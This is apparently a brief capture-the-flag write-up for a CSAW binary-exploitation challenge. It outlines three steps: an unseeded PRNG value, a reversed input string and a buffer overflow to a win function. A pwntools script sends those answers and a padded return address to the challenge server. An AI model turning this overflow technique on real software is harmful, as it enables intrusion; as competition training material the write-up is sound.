*Full details in the linked writeup*
3 questions need to be answered:
- first one you need to guess a pseudo random number, but the PRNG is not initialized so it's always the same number- second one you need to reverse the code to find a valid input for a string- third one is standard buffer overflow to reach the win function.
Final code:```pythonfrom pwn import *
PRINT_FLAG = 0x04014fb
sh = remote("pwn.chal.csaw.io", 5004)sh.recvuntil("zopnol?")sh.sendline(str(0x6b8b4567))sh.recvuntil("qorbnorbf?")sh.sendline(str(7856445899213065428791))sh.recvuntil("salwzoblrs?")sh.sendline(b" "*24 + p32(PRINT_FLAG))sh.interactive()```